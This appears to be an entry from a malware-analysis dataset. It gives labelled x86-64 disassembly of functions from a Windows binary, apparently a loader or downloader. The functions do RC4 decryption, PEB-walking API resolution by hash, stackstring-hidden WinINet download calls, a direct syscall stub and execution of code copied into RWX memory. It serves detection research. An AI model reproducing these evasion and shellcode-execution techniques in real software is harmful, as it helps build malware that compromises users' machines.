joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400023f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push rdi
sub rsp, 0x20
mov edi, edx
mov r11, rcx
test edx, edx
je 0x140002565
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
mov r8, rcx
mov eax, r9d
nop dword [rax + rax]
mov dword [r8], eax
inc eax
add r8, 4
cmp eax, 0x100
jl 0x140002420
mov ebx, 2
lea r10, [rcx + 8]
lea rbp, str.Anonymous
lea esi, [rbx + 0x3e]
nop word [rax + rax]
xor edx, edx
lea eax, [rbx - 2]
div edi
movzx r8d, byte [rdx + rbp]
add r8d, dword [r10 - 8]
add r8d, r9d
and r8d, 0x800000ff
jge 0x140002479
dec r8d
or r8d, 0xffffff00
inc r8d
movzx ecx, byte [r10 - 8]
movsxd rdx, r8d
mov eax, dword [r11 + rdx*4]
mov dword [r10 - 8], eax
mov dword [r11 + rdx*4], ecx
xor edx, edx
lea eax, [rbx - 1]
div edi
movzx r9d, byte [rdx + rbp]
add r9d, dword [r10 - 4]
add r9d, r8d
and r9d, 0x800000ff
jge 0x1400024b6
dec r9d
or r9d, 0xffffff00
inc r9d
movzx ecx, byte [r10 - 4]
movsxd rdx, r9d
mov eax, dword [r11 + rdx*4]
mov dword [r10 - 4], eax
mov dword [r11 + rdx*4], ecx
xor edx, edx
mov eax, ebx
div edi
movzx r8d, byte [rdx + rbp]
add r8d, r9d
add r8d, dword [r10]
and r8d, 0x800000ff
jge 0x1400024f1
dec r8d
or r8d, 0xffffff00
inc r8d
movzx ecx, byte [r10]
movsxd rdx, r8d
mov eax, dword [r11 + rdx*4]
mov dword [r10], eax
mov dword [r11 + rdx*4], ecx
xor edx, edx
lea eax, [rbx + 1]
div edi
movzx r9d, byte [rdx + rbp]
add r9d, dword [r10 + 4]
add r9d, r8d
and r9d, 0x800000ff
jge 0x14000252c
dec r9d
or r9d, 0xffffff00
inc r9d
movzx ecx, byte [r10 + 4]
movsxd rdx, r9d
add r10, 0x10
mov eax, dword [r11 + rdx*4]
add ebx, 4
dec rsi
mov dword [r10 - 0xc], eax
mov dword [r11 + rdx*4], ecx
jne 0x140002450
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rcx, str.rc4_key_or_len_is_0__return_
add rsp, 0x20
pop rdi
jmp 0x14000c058
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
push rdi
sub rsp, 0x28
xor eax, eax
test rcx, rcx
setne al
test eax, eax
jne 0x14000c092
call fcn.14000c870
mov dword [rax], 0x16
call fcn.140014ef4
or eax, 0xffffffff
jmp 0x14000c0fc
lea rdi, [rsp + 0x48]
call fcn.14000e0b8
lea rdx, [rax + 0x30]
mov ecx, 1
call fcn.14000e22c
nop
call fcn.14000e0b8
lea rcx, [rax + 0x30]
call fcn.140013fc4
mov ebx, eax
call fcn.14000e0b8
mov r9, rdi
xor r8d, r8d
mov rdx, qword [rsp + 0x40]
lea rcx, [rax + 0x30]
call fcn.140014238
mov edi, eax
call fcn.14000e0b8
lea rdx, [rax + 0x30]
mov ecx, ebx
call fcn.140014098
nop
call fcn.14000e0b8
lea rdx, [rax + 0x30]
mov ecx, 1
call fcn.14000e2ac
mov eax, edi
add rsp, 0x28
pop rdi
pop rbx
ret
Function at 0x140002580
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r10, rdx
mov r9, rcx
test r8d, r8d
je 0x14000263f
mov r11d, r8d
nop word [rax + rax]
mov eax, dword [r9 + 0x400]
inc eax
and eax, 0x800000ff
jge 0x1400025b9
dec eax
or eax, 0xffffff00
inc eax
movsxd r8, eax
mov dword [r9 + 0x400], eax
mov eax, dword [r9 + r8*4]
add eax, dword [r9 + 0x404]
and eax, 0x800000ff
jge 0x1400025de
dec eax
or eax, 0xffffff00
inc eax
mov dword [r9 + 0x404], eax
movzx edx, byte [r9 + r8*4]
cdqe
mov ecx, dword [r9 + rax*4]
mov dword [r9 + r8*4], ecx
movsxd rax, dword [r9 + 0x404]
mov dword [r9 + rax*4], edx
movsxd rax, dword [r9 + 0x404]
movsxd rcx, dword [r9 + 0x400]
mov edx, dword [r9 + rax*4]
add edx, dword [r9 + rcx*4]
and edx, 0x800000ff
jge 0x140002627
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
inc r10
movzx ecx, byte [r9 + rax*4]
xor byte [r10 - 1], cl
dec r11
jne 0x1400025a0
repz ret

Function at 0x140002fa0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
mov rax, qword gs:[0x30]
xor r9d, r9d
mov ebx, ecx
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rdi, qword [rax + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov edx, dword [rax + rdi + 0x88]
add rdx, rdi
mov r13d, dword [rdx + 0x1c]
mov esi, dword [rdx + 0x20]
mov r11d, dword [rdx + 0x24]
mov r12d, dword [rdx + 0x14]
mov r14d, dword [rdx + 0x18]
add r13, rdi
add rsi, rdi
add r11, rdi
test r12, r12
je 0x140003072
mov qword [rsp + 0x20], rbp
nop word [rax + rax]
mov eax, dword [r13 + r9*4]
test eax, eax
je 0x14000305e
xor r8d, r8d
mov ebp, eax
test r14d, r14d
je 0x14000305e
movzx eax, word [r11 + r8*2]
cmp rax, r9
jne 0x140003056
mov edx, dword [rsi + r8*4]
xor ecx, ecx
add rdx, rdi
movzx eax, byte [rdx]
test al, al
je 0x140003052
nop dword [rax]
ror ecx, 7
movsx eax, al
inc rdx
add ecx, eax
movzx eax, byte [rdx]
test al, al
jne 0x140003040
cmp ebx, ecx
je 0x140003068
inc r8
cmp r8, r14
jb 0x140003023
inc r9
cmp r9, r12
jb 0x140003010
jmp 0x14000306d
movzx eax, byte [rdi + rbp + 4]
mov rbp, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
pop r14
pop r13
pop r12
ret
Function at 0x140003130
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140003227
lea rdx, [rbp - 0x60]
mov rcx, rax
mov dword [rbp - 0x60], 0x65746e49
mov dword [rbp - 0x5c], 0x74656e72
mov dword [rbp - 0x58], 0x6e65704f
mov word [rbp - 0x54], 0x57
mov dword [rbp - 0x50], 0x65746e49
mov dword [rbp - 0x4c], 0x74656e72
mov dword [rbp - 0x48], 0x6e65704f
mov dword [rbp - 0x44], 0x416c7255
mov byte [rbp - 0x40], 0
mov dword [rbp - 0x38], 0x65746e49
mov dword [rbp - 0x34], 0x74656e72
mov dword [rbp - 0x30], 0x64616552
mov dword [rbp - 0x2c], 0x656c6946
mov byte [rbp - 0x28], 0
mov dword [rbp - 0x20], 0x65746e49
mov dword [rbp - 0x1c], 0x74656e72
mov dword [rbp - 0x18], 0x736f6c43
mov dword [rbp - 0x14], 0x6e614865
mov dword [rbp - 0x10], 0x656c64
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x50]
mov rcx, rbx
mov qword [0x14003b6e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x38]
mov rcx, rbx
mov qword [0x14003b6e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov qword [0x14003b6f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003b6f8], rax
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret
Function at 0x140006d11
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [section..data]
syscall
ret

Function at 0x14001380c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14001367c

Function at 0x140017bdb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140038bf0]
jne 0x14000e72a
rol rcx, 0x10
test cx, 0xffff
jne 0x14000e726
repz ret
ror rcx, 0x10
jmp 0x140017b34
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14003b0f0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14003b1e8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140017bb9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14003b0f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140017bdb
mov rax, qword [rsp + 0x88]
mov qword [0x14003b1e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14003b188], rax
mov rax, qword [0x14003b1e8]
mov qword [0x14003b060], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14003b170], rax
mov dword [0x14003b050], 0xc0000409
mov dword [0x14003b054], 1
mov rax, qword [0x140038bf0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140038bf8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14003b0e8], eax
mov ecx, 1
call fcn.140022818
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14002fa68]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14003b0e8], 0
jne 0x140017c62
mov ecx, 1
call fcn.140022818
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400247d4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140038bf0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140012f3c
xor ebx, ebx
cmp qword [0x14003b6b8], rbx
mov rdi, rax
jne 0x1400248e7
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400249be
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400249be
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14003b6b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14003b6c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14003b6c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14003b6d8], rax
test rax, rax
je 0x1400248de
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14003b6d0], rax
jmp 0x1400248ee
mov rax, qword [0x14003b6d0]
jmp 0x1400248f5
mov rax, qword [0x14003b6d0]
mov r11, qword [0x14003b6d8]
cmp rax, rdi
je 0x14002495c
cmp r11, rdi
je 0x14002495c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14003b6d8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14002495c
test rax, rax
je 0x14002495c
call rsi
test rax, rax
je 0x140024956
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140024956
test byte [rsp + 0x40], 1
jne 0x14002495c
bts ebp, 0x15
jmp 0x14002499c
mov rcx, qword [0x14003b6c0]
cmp rcx, rdi
je 0x14002499c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14002499c
call rax
mov rbx, rax
test rax, rax
je 0x14002499c
mov rcx, qword [0x14003b6c8]
cmp rcx, rdi
je 0x14002499c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14002499c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14003b6b8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400249be
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400249c0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000e710
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400043b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 0x1384], 0xffffffff
lea r9, [rcx + 8]
mov dword [rcx + 4], edx
mov r8d, 1
nop word [rax + rax]
mov eax, edx
lea r9, [r9 + 4]
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, r8d
inc r8
mov dword [r9 - 4], edx
cmp r8, 0x270
jb 0x1400043d0
mov dword [rcx], 0x270
mov rax, rcx
ret
Function at 0x140009010
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400c71c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400090e3
cmp byte [rcx + 0x71], 0
je 0x1400090e3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x1400090df
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400090a4
sub eax, 1
je 0x1400090a8
cmp eax, 2
jne 0x1400090df
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400870c0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400090d6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400090df
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000908c
xor al, al
jmp 0x14000908c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400870c0
add rsp, 0x60
pop rbx
ret
Function at 0x1400091e0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, qword [rcx]
mov r10d, 0x270
mov ecx, dword [r9]
cmp ecx, r10d
jne 0x140009241
lea r8, [r9 + 8]
nop dword [rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140009200
mov ecx, dword [r9]
jmp 0x140009328
cmp ecx, 0x4e0
jb 0x140009328
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140009260
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x1400092b0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14000b4c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1400c71c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, edx
mov rdi, rcx
cmp edx, 0xffffffff
jne 0x14000b4ed
xor eax, eax
jmp 0x14000b656
mov qword [rsp + 0xa0], rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x14000b52d
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, rbx
jae 0x14000b52d
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], sil
mov eax, esi
jmp 0x14000b64e
cmp qword [rdi + 0x80], 0
je 0x14000b649
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rdi + 0x70]
cmp rax, rcx
jne 0x14000b567
mov rdx, qword [rdi + 0x88]
mov rcx, rdi
mov r9, qword [rdi + 0x90]
mov r8, rdx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x14000b592
mov rdx, qword [rdi + 0x80]
movsx ecx, sil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, esi
mov eax, ecx
jmp 0x14000b64e
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], sil
mov qword [rsp + 0x38], rax
lea rdx, [rdi + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000b601
sub eax, 1
je 0x14000b601
cmp eax, 2
jne 0x14000b649
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rdi + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, esi
mov eax, ecx
jmp 0x14000b64e
mov rbx, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbx, rax
je 0x14000b62f
mov r9, qword [rdi + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x14000b649
lea rax, [rsp + 0x50]
mov byte [rdi + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, esi
mov eax, ecx
jmp 0x14000b64e
mov eax, 0xffffffff
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400870c0
mov rsi, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14000c150
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r15
sub rsp, 0x60
mov rax, qword [0x1400c71c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rbx, rdx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x20], xmm0
lea r12, [rsp + 0x88]
movabs r15, 0xff00ff00ff00ff00
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x30], r12
mov rdi, qword [r12]
xor rdi, r15
mov qword [rsp + 0x20], rdi
mov qword [r12], rax
xor edx, edx
lea r8d, [rax + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rsp + 0x50], rax
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
sub rbx, qword [rsp + 0x50]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rax
mov rcx, qword [rax]
xor rcx, r15
mov qword [rsp + 0x38], rcx
mov qword [rax], 0
xor ecx, ecx
lea rbp, [0x140002bd0]
lea rsi, [0x140000000]
mov rax, qword [0x1400c8ff0]
test rax, rax
je 0x14000c240
xor edx, edx
cmp rax, rbp
je 0x14000c22f
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0xc8ff0]
test rax, rax
jne 0x14000c217
jmp 0x14000c240
mov r8, qword [rsi + rdx*8 + 0xc9310]
test r8, r8
jne 0x14000c31f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14000c2fe
mov rcx, rbp
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14000c270
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x1400c8fe0]
mov qword [rsi + rax*8 + 0xc8ff0], rbp
mov qword [rsi + rax*8 + 0xc9310], r8
inc rax
mov qword [0x1400c8fe0], rax
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call r8
nop
xor rdi, r15
mov qword [r12], rdi
mov rax, rbx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400870c0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000c360
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov dword [rsp + 0x10], edx
mov qword [r11 + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rsi, r9
mov r12, r8
mov ebx, edx
mov r14, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
lea rax, [rsp + 0x78]
movabs r13, 0xff00ff00ff00ff00
mov qword [r11 - 0x50], r13
mov qword [r11 - 0x48], rax
mov rbp, qword [rax]
xor rbp, r13
mov qword [r11 + 0x20], rbp
mov qword [r11 - 0x58], rbp
xor edi, edi
mov qword [rax], rdi
mov ecx, dword [r9 + 0x90]
mov rdx, r9
call fcn.14000c560
cmp dword [rsi + 0x90], edi
je 0x14000c436
cmp dword [rsi + 0x94], edi
je 0x14000c436
lea r15, [rax + 0x10]
lea r11, [rsp + 0x78]
mov r8d, dword [r15 - 4]
mov r10, qword [r11]
mov qword [r11], rdi
movzx edx, word [rsi + 0x14]
add rdx, 0x18
add rdx, rsi
movzx eax, word [rsi + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
cmp rdx, r9
jae 0x14000c42b
nop dword [rax]
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14000c422
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14000c460
add rdx, 0x28
cmp rdx, r9
jb 0x14000c410
mov qword [r11], r10
mov rbp, qword [rsp + 0x98]
mov edi, 1
xor r13, rbp
lea rax, [rsp + 0x78]
mov qword [rax], r13
mov eax, edi
mov rbx, qword [rsp + 0x90]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov ebp, dword [rdx + 0x14]
sub rbp, rcx
add rbp, r8
mov qword [r11], r10
add rbp, r12
je 0x14000c42e
mov r8, rbp
mov edx, ebx
mov rcx, r14
call fcn.14000a450
mov r14, rax
test rax, rax
je 0x14000c546
mov ecx, dword [r15]
mov r8, r12
mov rdx, rsi
call fcn.14000c560
mov rbx, rax
mov r8, qword [rax]
test r8, r8
je 0x14000c520
lea r13, [rsp + 0x78]
jns 0x14000c4b0
movzx edx, r8w
jmp 0x14000c4fc
mov r10, qword [r13]
mov qword [r13], rdi
movzx eax, word [rsi + 0x14]
add rax, 0x18
add rax, rsi
movzx ecx, word [rsi + 6]
lea rdx, [rcx + rcx*4]
lea r9, [rax + rdx*8]
cmp rax, r9
jae 0x14000c4ef
mov edx, dword [rax + 0xc]
cmp r8, rdx
jb 0x14000c4e6
mov ecx, dword [rax + 8]
add ecx, edx
cmp r8, rcx
jb 0x14000c538
add rax, 0x28
cmp rax, r9
jb 0x14000c4d4
mov rcx, rdi
mov rax, r13
mov qword [rax], r10
lea rdx, [rcx + 2]
mov rcx, rbp
call fcn.14000c150
add rax, r14
mov qword [rbx], rax
add rbx, 8
mov r8, qword [rbx]
test r8, r8
jne 0x14000c4a8
movabs r13, 0xff00ff00ff00ff00
